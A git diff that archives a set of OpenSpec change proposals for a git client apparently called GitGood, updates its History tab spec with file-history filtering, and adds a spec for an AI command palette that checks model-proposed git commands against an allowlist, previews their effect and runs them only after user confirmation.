a/openspec/changes/add-ai-commit-splitting/tasks.md b/openspec/changes/archive/2026-10-01-add-ai-commit-splitting/tasks.md similarity index 100% rename from openspec/changes/add-ai-commit-splitting/tasks.md rename to openspec/changes/archive/2026-10-01-add-ai-commit-splitting/tasks.md diff --git a/openspec/changes/add-ai-error-explanation/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-ai-error-explanation/.openspec.yaml similarity index 100% rename from openspec/changes/add-ai-error-explanation/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-ai-error-explanation/.openspec.yaml diff --git a/openspec/changes/add-ai-error-explanation/design.md b/openspec/changes/archive/2026-10-01-add-ai-error-explanation/design.md similarity index 100% rename from openspec/changes/add-ai-error-explanation/design.md rename to openspec/changes/archive/2026-10-01-add-ai-error-explanation/design.md diff --git a/openspec/changes/add-ai-error-explanation/proposal.md b/openspec/changes/archive/2026-10-01-add-ai-error-explanation/proposal.md similarity index 100% rename from openspec/changes/add-ai-error-explanation/proposal.md rename to openspec/changes/archive/2026-10-01-add-ai-error-explanation/proposal.md diff --git a/openspec/changes/add-ai-error-explanation/specs/ai-error-explanation/spec.md b/openspec/changes/archive/2026-10-01-add-ai-error-explanation/specs/ai-error-explanation/spec.md similarity index 100% rename from openspec/changes/add-ai-error-explanation/specs/ai-error-explanation/spec.md rename to openspec/changes/archive/2026-10-01-add-ai-error-explanation/specs/ai-error-explanation/spec.md diff --git a/openspec/changes/add-ai-error-explanation/tasks.md b/openspec/changes/archive/2026-10-01-add-ai-error-explanation/tasks.md similarity index 100% rename from openspec/changes/add-ai-error-explanation/tasks.md rename to openspec/changes/archive/2026-10-01-add-ai-error-explanation/tasks.md diff --git a/openspec/changes/add-ai-explain-diff/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-ai-explain-diff/.openspec.yaml similarity index 100% rename from openspec/changes/add-ai-explain-diff/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-ai-explain-diff/.openspec.yaml diff --git a/openspec/changes/add-ai-explain-diff/design.md b/openspec/changes/archive/2026-10-01-add-ai-explain-diff/design.md similarity index 100% rename from openspec/changes/add-ai-explain-diff/design.md rename to openspec/changes/archive/2026-10-01-add-ai-explain-diff/design.md diff --git a/openspec/changes/add-ai-explain-diff/proposal.md b/openspec/changes/archive/2026-10-01-add-ai-explain-diff/proposal.md similarity index 100% rename from openspec/changes/add-ai-explain-diff/proposal.md rename to openspec/changes/archive/2026-10-01-add-ai-explain-diff/proposal.md diff --git a/openspec/changes/add-ai-explain-diff/specs/ai-explain-diff/spec.md b/openspec/changes/archive/2026-10-01-add-ai-explain-diff/specs/ai-explain-diff/spec.md similarity index 100% rename from openspec/changes/add-ai-explain-diff/specs/ai-explain-diff/spec.md rename to openspec/changes/archive/2026-10-01-add-ai-explain-diff/specs/ai-explain-diff/spec.md diff --git a/openspec/changes/add-ai-explain-diff/tasks.md b/openspec/changes/archive/2026-10-01-add-ai-explain-diff/tasks.md similarity index 100% rename from openspec/changes/add-ai-explain-diff/tasks.md rename to openspec/changes/archive/2026-10-01-add-ai-explain-diff/tasks.md diff --git a/openspec/changes/add-ai-pr-description/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-ai-pr-description/.openspec.yaml similarity index 100% rename from openspec/changes/add-ai-pr-description/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-ai-pr-description/.openspec.yaml diff --git a/openspec/changes/add-ai-pr-description/design.md b/openspec/changes/archive/2026-10-01-add-ai-pr-description/design.md similarity index 100% rename from openspec/changes/add-ai-pr-description/design.md rename to openspec/changes/archive/2026-10-01-add-ai-pr-description/design.md diff --git a/openspec/changes/add-ai-pr-description/proposal.md b/openspec/changes/archive/2026-10-01-add-ai-pr-description/proposal.md similarity index 100% rename from openspec/changes/add-ai-pr-description/proposal.md rename to openspec/changes/archive/2026-10-01-add-ai-pr-description/proposal.md diff --git a/openspec/changes/add-ai-pr-description/specs/ai-pr-description/spec.md b/openspec/changes/archive/2026-10-01-add-ai-pr-description/specs/ai-pr-description/spec.md similarity index 100% rename from openspec/changes/add-ai-pr-description/specs/ai-pr-description/spec.md rename to openspec/changes/archive/2026-10-01-add-ai-pr-description/specs/ai-pr-description/spec.md diff --git a/openspec/changes/add-ai-pr-description/tasks.md b/openspec/changes/archive/2026-10-01-add-ai-pr-description/tasks.md similarity index 100% rename from openspec/changes/add-ai-pr-description/tasks.md rename to openspec/changes/archive/2026-10-01-add-ai-pr-description/tasks.md diff --git a/openspec/changes/add-ai-pr-triage/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-ai-pr-triage/.openspec.yaml similarity index 100% rename from openspec/changes/add-ai-pr-triage/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-ai-pr-triage/.openspec.yaml diff --git a/openspec/changes/add-ai-pr-triage/design.md b/openspec/changes/archive/2026-10-01-add-ai-pr-triage/design.md similarity index 100% rename from openspec/changes/add-ai-pr-triage/design.md rename to openspec/changes/archive/2026-10-01-add-ai-pr-triage/design.md diff --git a/openspec/changes/add-ai-pr-triage/proposal.md b/openspec/changes/archive/2026-10-01-add-ai-pr-triage/proposal.md similarity index 100% rename from openspec/changes/add-ai-pr-triage/proposal.md rename to openspec/changes/archive/2026-10-01-add-ai-pr-triage/proposal.md diff --git a/openspec/changes/add-ai-pr-triage/specs/ai-pr-triage/spec.md b/openspec/changes/archive/2026-10-01-add-ai-pr-triage/specs/ai-pr-triage/spec.md similarity index 100% rename from openspec/changes/add-ai-pr-triage/specs/ai-pr-triage/spec.md rename to openspec/changes/archive/2026-10-01-add-ai-pr-triage/specs/ai-pr-triage/spec.md diff --git a/openspec/changes/add-ai-pr-triage/tasks.md b/openspec/changes/archive/2026-10-01-add-ai-pr-triage/tasks.md similarity index 100% rename from openspec/changes/add-ai-pr-triage/tasks.md rename to openspec/changes/archive/2026-10-01-add-ai-pr-triage/tasks.md diff --git a/openspec/changes/add-ai-rebase-assistant/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-ai-rebase-assistant/.openspec.yaml similarity index 100% rename from openspec/changes/add-ai-rebase-assistant/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-ai-rebase-assistant/.openspec.yaml diff --git a/openspec/changes/add-ai-rebase-assistant/design.md b/openspec/changes/archive/2026-10-01-add-ai-rebase-assistant/design.md similarity index 100% rename from openspec/changes/add-ai-rebase-assistant/design.md rename to openspec/changes/archive/2026-10-01-add-ai-rebase-assistant/design.md diff --git a/openspec/changes/add-ai-rebase-assistant/proposal.md b/openspec/changes/archive/2026-10-01-add-ai-rebase-assistant/proposal.md similarity index 100% rename from openspec/changes/add-ai-rebase-assistant/proposal.md rename to openspec/changes/archive/2026-10-01-add-ai-rebase-assistant/proposal.md diff --git a/openspec/changes/add-ai-rebase-assistant/specs/ai-rebase-assistant/spec.md b/openspec/changes/archive/2026-10-01-add-ai-rebase-assistant/specs/ai-rebase-assistant/spec.md similarity index 100% rename from openspec/changes/add-ai-rebase-assistant/specs/ai-rebase-assistant/spec.md rename to openspec/changes/archive/2026-10-01-add-ai-rebase-assistant/specs/ai-rebase-assistant/spec.md diff --git a/openspec/changes/add-ai-rebase-assistant/tasks.md b/openspec/changes/archive/2026-10-01-add-ai-rebase-assistant/tasks.md similarity index 100% rename from openspec/changes/add-ai-rebase-assistant/tasks.md rename to openspec/changes/archive/2026-10-01-add-ai-rebase-assistant/tasks.md diff --git a/openspec/changes/add-ai-release-notes/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-ai-release-notes/.openspec.yaml similarity index 100% rename from openspec/changes/add-ai-release-notes/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-ai-release-notes/.openspec.yaml diff --git a/openspec/changes/add-ai-release-notes/design.md b/openspec/changes/archive/2026-10-01-add-ai-release-notes/design.md similarity index 100% rename from openspec/changes/add-ai-release-notes/design.md rename to openspec/changes/archive/2026-10-01-add-ai-release-notes/design.md diff --git a/openspec/changes/add-ai-release-notes/proposal.md b/openspec/changes/archive/2026-10-01-add-ai-release-notes/proposal.md similarity index 100% rename from openspec/changes/add-ai-release-notes/proposal.md rename to openspec/changes/archive/2026-10-01-add-ai-release-notes/proposal.md diff --git a/openspec/changes/add-ai-release-notes/specs/ai-release-notes/spec.md b/openspec/changes/archive/2026-10-01-add-ai-release-notes/specs/ai-release-notes/spec.md similarity index 100% rename from openspec/changes/add-ai-release-notes/specs/ai-release-notes/spec.md rename to openspec/changes/archive/2026-10-01-add-ai-release-notes/specs/ai-release-notes/spec.md diff --git a/openspec/changes/add-ai-release-notes/tasks.md b/openspec/changes/archive/2026-10-01-add-ai-release-notes/tasks.md similarity index 100% rename from openspec/changes/add-ai-release-notes/tasks.md rename to openspec/changes/archive/2026-10-01-add-ai-release-notes/tasks.md diff --git a/openspec/changes/add-blame-and-file-history/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-blame-and-file-history/.openspec.yaml similarity index 100% rename from openspec/changes/add-blame-and-file-history/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-blame-and-file-history/.openspec.yaml diff --git a/openspec/changes/add-blame-and-file-history/design.md b/openspec/changes/archive/2026-10-01-add-blame-and-file-history/design.md similarity index 100% rename from openspec/changes/add-blame-and-file-history/design.md rename to openspec/changes/archive/2026-10-01-add-blame-and-file-history/design.md diff --git a/openspec/changes/add-blame-and-file-history/proposal.md b/openspec/changes/archive/2026-10-01-add-blame-and-file-history/proposal.md similarity index 100% rename from openspec/changes/add-blame-and-file-history/proposal.md rename to openspec/changes/archive/2026-10-01-add-blame-and-file-history/proposal.md diff --git a/openspec/changes/add-blame-and-file-history/specs/blame/spec.md b/openspec/changes/archive/2026-10-01-add-blame-and-file-history/specs/blame/spec.md similarity index 100% rename from openspec/changes/add-blame-and-file-history/specs/blame/spec.md rename to openspec/changes/archive/2026-10-01-add-blame-and-file-history/specs/blame/spec.md diff --git a/openspec/changes/add-blame-and-file-history/specs/history/spec.md b/openspec/changes/archive/2026-10-01-add-blame-and-file-history/specs/history/spec.md similarity index 100% rename from openspec/changes/add-blame-and-file-history/specs/history/spec.md rename to openspec/changes/archive/2026-10-01-add-blame-and-file-history/specs/history/spec.md diff --git a/openspec/changes/add-blame-and-file-history/tasks.md b/openspec/changes/archive/2026-10-01-add-blame-and-file-history/tasks.md similarity index 100% rename from openspec/changes/add-blame-and-file-history/tasks.md rename to openspec/changes/archive/2026-10-01-add-blame-and-file-history/tasks.md diff --git a/openspec/changes/add-commit-signing/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-commit-signing/.openspec.yaml similarity index 100% rename from openspec/changes/add-commit-signing/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-commit-signing/.openspec.yaml diff --git a/openspec/changes/add-commit-signing/design.md b/openspec/changes/archive/2026-10-01-add-commit-signing/design.md similarity index 100% rename from openspec/changes/add-commit-signing/design.md rename to openspec/changes/archive/2026-10-01-add-commit-signing/design.md diff --git a/openspec/changes/add-commit-signing/proposal.md b/openspec/changes/archive/2026-10-01-add-commit-signing/proposal.md similarity index 100% rename from openspec/changes/add-commit-signing/proposal.md rename to openspec/changes/archive/2026-10-01-add-commit-signing/proposal.md diff --git a/openspec/changes/add-commit-signing/specs/commit-signing/spec.md b/openspec/changes/archive/2026-10-01-add-commit-signing/specs/commit-signing/spec.md similarity index 100% rename from openspec/changes/add-commit-signing/specs/commit-signing/spec.md rename to openspec/changes/archive/2026-10-01-add-commit-signing/specs/commit-signing/spec.md diff --git a/openspec/changes/add-commit-signing/tasks.md b/openspec/changes/archive/2026-10-01-add-commit-signing/tasks.md similarity index 100% rename from openspec/changes/add-commit-signing/tasks.md rename to openspec/changes/archive/2026-10-01-add-commit-signing/tasks.md diff --git a/openspec/changes/add-history-content-search/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-history-content-search/.openspec.yaml similarity index 100% rename from openspec/changes/add-history-content-search/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-history-content-search/.openspec.yaml diff --git a/openspec/changes/add-history-content-search/design.md b/openspec/changes/archive/2026-10-01-add-history-content-search/design.md similarity index 100% rename from openspec/changes/add-history-content-search/design.md rename to openspec/changes/archive/2026-10-01-add-history-content-search/design.md diff --git a/openspec/changes/add-history-content-search/proposal.md b/openspec/changes/archive/2026-10-01-add-history-content-search/proposal.md similarity index 100% rename from openspec/changes/add-history-content-search/proposal.md rename to openspec/changes/archive/2026-10-01-add-history-content-search/proposal.md diff --git a/openspec/changes/add-history-content-search/specs/history/spec.md b/openspec/changes/archive/2026-10-01-add-history-content-search/specs/history/spec.md similarity index 84% rename from openspec/changes/add-history-content-search/specs/history/spec.md rename to openspec/changes/archive/2026-10-01-add-history-content-search/specs/history/spec.md index e3de75a..d0b1304 100644 --- a/openspec/changes/add-history-content-search/specs/history/spec.md +++ b/openspec/changes/archive/2026-10-01-add-history-content-search/specs/history/spec.md @@ -3,7 +3,7 @@ ## MODIFIED Requirements ### Requirement: Commit list is paged and searchable -The History tab SHALL show the commits reachable from the current branch, newest first, loading further pages on demand. A search box SHALL filter the list by commit message, author name or email, or a full or abbreviated SHA of at least 7 hexadecimal characters, matching case-insensitively. The search box SHALL also accept prefixed filters that MAY be combined with free text: `content:` (commits whose diff added or removed the text), `regex:` (commits whose diff matches the regular expression), `path:`, `author:`, `after:`, `before:` and `all:` (search every branch, tag and remote). Values containing spaces SHALL be quoted, with escaped quotes supported. A filter popover SHALL offer the same filters as form controls and SHALL stay in sync with the text in both directions. While any filter is active the header SHALL show the number of matching commits and a Clear control, and when `all:` is on each row SHALL show the refs that contain it. Changing the query SHALL cancel the search in progress. An invalid regular expression SHALL be reported inline without running the search or leaving the list loading. +The History tab SHALL show the commits reachable from the current branch, newest first, loading further pages on demand. A search box SHALL filter the list by commit message, author name or email, or a full or abbreviated SHA of at least 7 hexadecimal characters, matching case-insensitively. The search box SHALL also accept prefixed filters that MAY be combined with free text: `content:` (commits whose diff added or removed the text), `regex:` (commits whose diff matches the regular expression), `path:`, `author:`, `after:`, `before:` and `all:` (search every branch, tag and remote). Values containing spaces SHALL be quoted, with escaped quotes supported. A filter popover SHALL offer the same filters as form controls and SHALL stay in sync with the text in both directions. While any filter is active the header SHALL show the number of matching commits and a Clear control, and when `all:` is on each row SHALL show the refs that contain it. Changing the query SHALL cancel the search in progress. An invalid regular expression SHALL be reported inline without running the search or leaving the list loading. When a file history is active, the header SHALL show the file path with a control to clear it, the commit list SHALL contain only commits that touched that file, following renames, and the search box SHALL combine with the path filter. #### Scenario: Paging - **WHEN** the user scrolls to the end of the loaded commits and more commits exist @@ -21,6 +21,14 @@ The History tab SHALL show the commits reachable from the current branch, newest - **WHEN** a `path:` filter is active - **THEN** only commits touching that pathspec are listed +#### Scenario: File history filter +- **WHEN** a file history is active for a path +- **THEN** only commits touching that path, including under its earlier names, are listed and the header shows the path with a clear control + +#### Scenario: Clear file history +- **WHEN** the user clears the path chip +- **THEN** the full branch history returns and the search text is preserved + #### Scenario: Content search - **WHEN** the user types `content:needle` in a repository where one commit added `needle`, one changed a line containing it and one removed it - **THEN** the list contains the adding and removing commits only @@ -54,7 +62,7 @@ The History tab SHALL show the commits reachable from the current branch, newest - **THEN** a hint suggests narrowing with a `path:` filter and the search remains cancellable ### Requirement: Commit details with per-file stats -Selecting a commit SHALL show its metadata (summary, description, author, date, SHA) and the list of changed files with additions and deletions, and selecting a file SHALL show that file's diff for the commit. When a content or regex search is active, the file list SHALL contain only files whose diff matches the search, and the diff pane SHALL scroll to and highlight the first matching line. +Selecting a commit SHALL show its metadata (summary, description, author, date, SHA) and the list of changed files with additions and deletions, and selecting a file SHALL show that file's diff for the commit. When a content or regex search is active, the file list SHALL contain only files whose diff matches the search, and the diff pane SHALL scroll to and highlight the first matching line. When a file history is active, the tracked file's diff SHALL be shown first for the selected commit. #### Scenario: Select a commit - **WHEN** the user selects one commit @@ -64,6 +72,10 @@ Selecting a commit SHALL show its metadata (summary, description, author, date, - **WHEN** a changed file is binary - **THEN** its change counts are omitted and the diff pane shows the binary summary +#### Scenario: Select a commit in file history +- **WHEN** a file history is active and the user selects a commit +- **THEN** the diff shown first is that file's diff in the commit, under the name it had at that commit + #### Scenario: Select a result of a content search - **WHEN** a `content:` search is active and the user selects a matching commit - **THEN** only files whose diff contains the text are listed and the first matching line is highlighted in the diff diff --git a/openspec/changes/add-history-content-search/tasks.md b/openspec/changes/archive/2026-10-01-add-history-content-search/tasks.md similarity index 100% rename from openspec/changes/add-history-content-search/tasks.md rename to openspec/changes/archive/2026-10-01-add-history-content-search/tasks.md diff --git a/openspec/changes/add-issues-panel/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-issues-panel/.openspec.yaml similarity index 100% rename from openspec/changes/add-issues-panel/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-issues-panel/.openspec.yaml diff --git a/openspec/changes/add-issues-panel/design.md b/openspec/changes/archive/2026-10-01-add-issues-panel/design.md similarity index 100% rename from openspec/changes/add-issues-panel/design.md rename to openspec/changes/archive/2026-10-01-add-issues-panel/design.md diff --git a/openspec/changes/add-issues-panel/proposal.md b/openspec/changes/archive/2026-10-01-add-issues-panel/proposal.md similarity index 100% rename from openspec/changes/add-issues-panel/proposal.md rename to openspec/changes/archive/2026-10-01-add-issues-panel/proposal.md diff --git a/openspec/changes/add-issues-panel/specs/issues/spec.md b/openspec/changes/archive/2026-10-01-add-issues-panel/specs/issues/spec.md similarity index 100% rename from openspec/changes/add-issues-panel/specs/issues/spec.md rename to openspec/changes/archive/2026-10-01-add-issues-panel/specs/issues/spec.md diff --git a/openspec/changes/add-issues-panel/tasks.md b/openspec/changes/archive/2026-10-01-add-issues-panel/tasks.md similarity index 100% rename from openspec/changes/add-issues-panel/tasks.md rename to openspec/changes/archive/2026-10-01-add-issues-panel/tasks.md diff --git a/openspec/changes/add-notifications-inbox/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-notifications-inbox/.openspec.yaml similarity index 100% rename from openspec/changes/add-notifications-inbox/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-notifications-inbox/.openspec.yaml diff --git a/openspec/changes/add-notifications-inbox/design.md b/openspec/changes/archive/2026-10-01-add-notifications-inbox/design.md similarity index 100% rename from openspec/changes/add-notifications-inbox/design.md rename to openspec/changes/archive/2026-10-01-add-notifications-inbox/design.md diff --git a/openspec/changes/add-notifications-inbox/proposal.md b/openspec/changes/archive/2026-10-01-add-notifications-inbox/proposal.md similarity index 100% rename from openspec/changes/add-notifications-inbox/proposal.md rename to openspec/changes/archive/2026-10-01-add-notifications-inbox/proposal.md diff --git a/openspec/changes/add-notifications-inbox/specs/notifications-inbox/spec.md b/openspec/changes/archive/2026-10-01-add-notifications-inbox/specs/notifications-inbox/spec.md similarity index 100% rename from openspec/changes/add-notifications-inbox/specs/notifications-inbox/spec.md rename to openspec/changes/archive/2026-10-01-add-notifications-inbox/specs/notifications-inbox/spec.md diff --git a/openspec/changes/add-notifications-inbox/tasks.md b/openspec/changes/archive/2026-10-01-add-notifications-inbox/tasks.md similarity index 100% rename from openspec/changes/add-notifications-inbox/tasks.md rename to openspec/changes/archive/2026-10-01-add-notifications-inbox/tasks.md diff --git a/openspec/changes/add-repo-health/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-repo-health/.openspec.yaml similarity index 100% rename from openspec/changes/add-repo-health/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-repo-health/.openspec.yaml diff --git a/openspec/changes/add-repo-health/design.md b/openspec/changes/archive/2026-10-01-add-repo-health/design.md similarity index 100% rename from openspec/changes/add-repo-health/design.md rename to openspec/changes/archive/2026-10-01-add-repo-health/design.md diff --git a/openspec/changes/add-repo-health/proposal.md b/openspec/changes/archive/2026-10-01-add-repo-health/proposal.md similarity index 100% rename from openspec/changes/add-repo-health/proposal.md rename to openspec/changes/archive/2026-10-01-add-repo-health/proposal.md diff --git a/openspec/changes/add-repo-health/specs/repo-health/spec.md b/openspec/changes/archive/2026-10-01-add-repo-health/specs/repo-health/spec.md similarity index 100% rename from openspec/changes/add-repo-health/specs/repo-health/spec.md rename to openspec/changes/archive/2026-10-01-add-repo-health/specs/repo-health/spec.md diff --git a/openspec/changes/add-repo-health/tasks.md b/openspec/changes/archive/2026-10-01-add-repo-health/tasks.md similarity index 100% rename from openspec/changes/add-repo-health/tasks.md rename to openspec/changes/archive/2026-10-01-add-repo-health/tasks.md diff --git a/openspec/changes/add-stash-manager/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-stash-manager/.openspec.yaml similarity index 100% rename from openspec/changes/add-stash-manager/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-stash-manager/.openspec.yaml diff --git a/openspec/changes/add-stash-manager/design.md b/openspec/changes/archive/2026-10-01-add-stash-manager/design.md similarity index 100% rename from openspec/changes/add-stash-manager/design.md rename to openspec/changes/archive/2026-10-01-add-stash-manager/design.md diff --git a/openspec/changes/add-stash-manager/proposal.md b/openspec/changes/archive/2026-10-01-add-stash-manager/proposal.md similarity index 100% rename from openspec/changes/add-stash-manager/proposal.md rename to openspec/changes/archive/2026-10-01-add-stash-manager/proposal.md diff --git a/openspec/changes/add-stash-manager/specs/stash/spec.md b/openspec/changes/archive/2026-10-01-add-stash-manager/specs/stash/spec.md similarity index 100% rename from openspec/changes/add-stash-manager/specs/stash/spec.md rename to openspec/changes/archive/2026-10-01-add-stash-manager/specs/stash/spec.md diff --git a/openspec/changes/add-stash-manager/tasks.md b/openspec/changes/archive/2026-10-01-add-stash-manager/tasks.md similarity index 100% rename from openspec/changes/add-stash-manager/tasks.md rename to openspec/changes/archive/2026-10-01-add-stash-manager/tasks.md diff --git a/openspec/changes/add-submodules-and-lfs/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-submodules-and-lfs/.openspec.yaml similarity index 100% rename from openspec/changes/add-submodules-and-lfs/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-submodules-and-lfs/.openspec.yaml diff --git a/openspec/changes/add-submodules-and-lfs/design.md b/openspec/changes/archive/2026-10-01-add-submodules-and-lfs/design.md similarity index 100% rename from openspec/changes/add-submodules-and-lfs/design.md rename to openspec/changes/archive/2026-10-01-add-submodules-and-lfs/design.md diff --git a/openspec/changes/add-submodules-and-lfs/proposal.md b/openspec/changes/archive/2026-10-01-add-submodules-and-lfs/proposal.md similarity index 100% rename from openspec/changes/add-submodules-and-lfs/proposal.md rename to openspec/changes/archive/2026-10-01-add-submodules-and-lfs/proposal.md diff --git a/openspec/changes/add-submodules-and-lfs/specs/lfs/spec.md b/openspec/changes/archive/2026-10-01-add-submodules-and-lfs/specs/lfs/spec.md similarity index 100% rename from openspec/changes/add-submodules-and-lfs/specs/lfs/spec.md rename to openspec/changes/archive/2026-10-01-add-submodules-and-lfs/specs/lfs/spec.md diff --git a/openspec/changes/add-submodules-and-lfs/specs/submodules/spec.md b/openspec/changes/archive/2026-10-01-add-submodules-and-lfs/specs/submodules/spec.md similarity index 100% rename from openspec/changes/add-submodules-and-lfs/specs/submodules/spec.md rename to openspec/changes/archive/2026-10-01-add-submodules-and-lfs/specs/submodules/spec.md diff --git a/openspec/changes/add-submodules-and-lfs/tasks.md b/openspec/changes/archive/2026-10-01-add-submodules-and-lfs/tasks.md similarity index 100% rename from openspec/changes/add-submodules-and-lfs/tasks.md rename to openspec/changes/archive/2026-10-01-add-submodules-and-lfs/tasks.md diff --git a/openspec/changes/add-worktrees/.openspec.yaml b/openspec/changes/archive/2026-10-01-add-worktrees/.openspec.yaml similarity index 100% rename from openspec/changes/add-worktrees/.openspec.yaml rename to openspec/changes/archive/2026-10-01-add-worktrees/.openspec.yaml diff --git a/openspec/changes/add-worktrees/design.md b/openspec/changes/archive/2026-10-01-add-worktrees/design.md similarity index 100% rename from openspec/changes/add-worktrees/design.md rename to openspec/changes/archive/2026-10-01-add-worktrees/design.md diff --git a/openspec/changes/add-worktrees/proposal.md b/openspec/changes/archive/2026-10-01-add-worktrees/proposal.md similarity index 100% rename from openspec/changes/add-worktrees/proposal.md rename to openspec/changes/archive/2026-10-01-add-worktrees/proposal.md diff --git a/openspec/changes/add-worktrees/specs/worktrees/spec.md b/openspec/changes/archive/2026-10-01-add-worktrees/specs/worktrees/spec.md similarity index 100% rename from openspec/changes/add-worktrees/specs/worktrees/spec.md rename to openspec/changes/archive/2026-10-01-add-worktrees/specs/worktrees/spec.md diff --git a/openspec/changes/add-worktrees/tasks.md b/openspec/changes/archive/2026-10-01-add-worktrees/tasks.md similarity index 100% rename from openspec/changes/add-worktrees/tasks.md rename to openspec/changes/archive/2026-10-01-add-worktrees/tasks.md diff --git a/openspec/changes/upgrade-ai-conflict-resolution/.openspec.yaml b/openspec/changes/archive/2026-10-01-upgrade-ai-conflict-resolution/.openspec.yaml similarity index 100% rename from openspec/changes/upgrade-ai-conflict-resolution/.openspec.yaml rename to openspec/changes/archive/2026-10-01-upgrade-ai-conflict-resolution/.openspec.yaml diff --git a/openspec/changes/upgrade-ai-conflict-resolution/design.md b/openspec/changes/archive/2026-10-01-upgrade-ai-conflict-resolution/design.md similarity index 100% rename from openspec/changes/upgrade-ai-conflict-resolution/design.md rename to openspec/changes/archive/2026-10-01-upgrade-ai-conflict-resolution/design.md diff --git a/openspec/changes/upgrade-ai-conflict-resolution/proposal.md b/openspec/changes/archive/2026-10-01-upgrade-ai-conflict-resolution/proposal.md similarity index 100% rename from openspec/changes/upgrade-ai-conflict-resolution/proposal.md rename to openspec/changes/archive/2026-10-01-upgrade-ai-conflict-resolution/proposal.md diff --git a/openspec/changes/upgrade-ai-conflict-resolution/specs/ai-conflict-resolution/spec.md b/openspec/changes/archive/2026-10-01-upgrade-ai-conflict-resolution/specs/ai-conflict-resolution/spec.md similarity index 100% rename from openspec/changes/upgrade-ai-conflict-resolution/specs/ai-conflict-resolution/spec.md rename to openspec/changes/archive/2026-10-01-upgrade-ai-conflict-resolution/specs/ai-conflict-resolution/spec.md diff --git a/openspec/changes/upgrade-ai-conflict-resolution/tasks.md b/openspec/changes/archive/2026-10-01-upgrade-ai-conflict-resolution/tasks.md similarity index 100% rename from openspec/changes/upgrade-ai-conflict-resolution/tasks.md rename to openspec/changes/archive/2026-10-01-upgrade-ai-conflict-resolution/tasks.md diff --git a/openspec/specs/ai-command-palette/spec.md b/openspec/specs/ai-command-palette/spec.md new file mode 100644 index 0000000..f2fb0dc --- /dev/null +++ b/openspec/specs/ai-command-palette/spec.md @@ -0,0 +1,102 @@ +# ai-command-palette Specification + +## Purpose +Lets the user describe a git task in plain language and get back an exact, previewed plan of git commands that GitGood runs only after confirmation and only within a strict allowlist. + +## Requirements + +### Requirement: Palette opens with built-in actions and optional AI +A command palette SHALL open with `Ctrl+K` or Repository → Ask GitGood…, over the current repository. It SHALL first fuzzy-match built-in actions (push, pull, new branch, and the other menu actions) without any AI call. An **Ask AI** row SHALL send the text to the model when the user selects it or when no built-in action matches well. The Ask AI row SHALL be absent when the AI provider is `disabled` or the palette AI setting is off; built-in matching SHALL still work. + +#### Scenario: Built-in match +- **WHEN** the user types "push" +- **THEN** the Push action is listed and can be run without contacting the model + +#### Scenario: Provider disabled +- **WHEN** the AI provider is `disabled` +- **THEN** the palette shows built-in actions only and no Ask AI row + +#### Scenario: Cancel while asking +- **WHEN** the user presses Escape while a plan request is in flight +- **THEN** the request is cancelled and the palette returns to its input state + +### Requirement: Plans are made of exact git commands with explanations and risk +A plan SHALL consist of at most 8 numbered steps, each showing the exact git command, a one-line explanation and a risk classification of safe, changes history, discards work or touches remote. Steps that GitGood will not execute SHALL be shown greyed with the reason and a copy action. The request context sent to the model SHALL be limited to repository metadata (branch state, branch names, last 30 commits, stash messages, remote names, tags) and SHALL NOT include file contents. + +#### Scenario: Plan rendered +- **WHEN** the model returns two executable steps +- **THEN** the palette shows both commands in monospace with explanations and risk chips + +#### Scenario: Too many steps +- **WHEN** the model returns more than 8 steps +- **THEN** the plan is rejected with a message asking the user to split the request + +### Requirement: Executability is decided by an allowlist policy, not by the model +Every step SHALL be matched against an allowlist of git command shapes covering inspect, branch, commit, stash, sync, integrate, discard and tag families. A step that does not match, that contains any shell metacharacter, that is on the denylist (force push without lease, history-rewriting maintenance commands, global config, remote URL changes, submodule or worktree writes, clean with `-x`, any non-git command, pipes, redirects, chaining or environment assignments), or that references a ref that does not exist SHALL be marked non-executable with a reason. A leading `git` token SHALL be stripped. Discard steps SHALL name paths inside the repository that exist in the current status. + +#### Scenario: Denylisted command +- **WHEN** a step is `push --force` +- **THEN** it is shown copy-only with the reason that force pushes without lease are not run by GitGood + +#### Scenario: Shell operator +- **WHEN** a step contains `&&` or `|` +- **THEN** the step is non-executable and the reason names the shell operator + +#### Scenario: Unknown reference +- **WHEN** a step refers to a branch that does not exist in the repository +- **THEN** the step is non-executable with an unknown reference reason + +#### Scenario: Operation in progress +- **WHEN** a merge or rebase is in progress +- **THEN** only abort, continue, status, diff and log families are executable and other steps are refused with that reason + +### Requirement: Risk is recomputed by policy +The risk shown for a step SHALL be the higher of the model's classification and the policy's own classification derived from the command, so a step the model calls safe SHALL still be treated as destructive when the command is. + +#### Scenario: Model understates risk +- **WHEN** the model labels `reset --hard HEAD~1` as safe +- **THEN** the step is shown and treated as discards work + +### Requirement: Previews show the effect before confirmation +For steps with a known preview, GitGood SHALL run a read-only command and show the affected items before the user runs the plan: commits that a reset or rebase would rewrite, files a restore or clean would discard, whether a branch to delete is merged, and ahead/behind counts for a force push with lease. + +#### Scenario: Reset preview +- **WHEN** the plan contains `reset --soft HEAD~2` +- **THEN** the preview lists the two commits that will be uncommitted + +#### Scenario: Discard preview +- **WHEN** the plan contains `restore src/` +- **THEN** the preview lists the changed files under that path from the current status + +### Requirement: Execution requires confirmation and honours existing safeguards +No step SHALL run before the user clicks **Run plan**. 